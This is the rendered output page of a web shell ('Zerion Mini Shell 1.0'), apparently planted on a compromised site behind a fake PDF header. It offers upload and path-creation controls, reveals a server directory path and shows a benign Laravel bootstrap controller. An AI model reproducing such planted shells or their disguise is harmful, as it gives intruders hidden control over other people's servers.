%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/vebto/common/Core/Controllers/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/vebto/common/Core/Controllers/BootstrapController.php

<?php namespace Common\Core\Controllers;

use Common\Core\BaseController;
use Common\Core\Bootstrap\BootstrapData;
use Common\Core\Bootstrap\MobileBootstrapData;
use Illuminate\Http\JsonResponse;

class BootstrapController extends BaseController
{
    /**
     * Get data needed to bootstrap the application.
     *
     * @param BootstrapData $bootstrapData
     * @return JsonResponse
     */
    public function getBootstrapData(BootstrapData $bootstrapData)
    {
        return response()->json(['data' => $bootstrapData->init()->getEncoded()]);
    }

    public function getMobileBootstrapData(MobileBootstrapData  $bootstrapData)
    {
        return response()->json($bootstrapData->init()->get());
    }
}

Zerion Mini Shell 1.0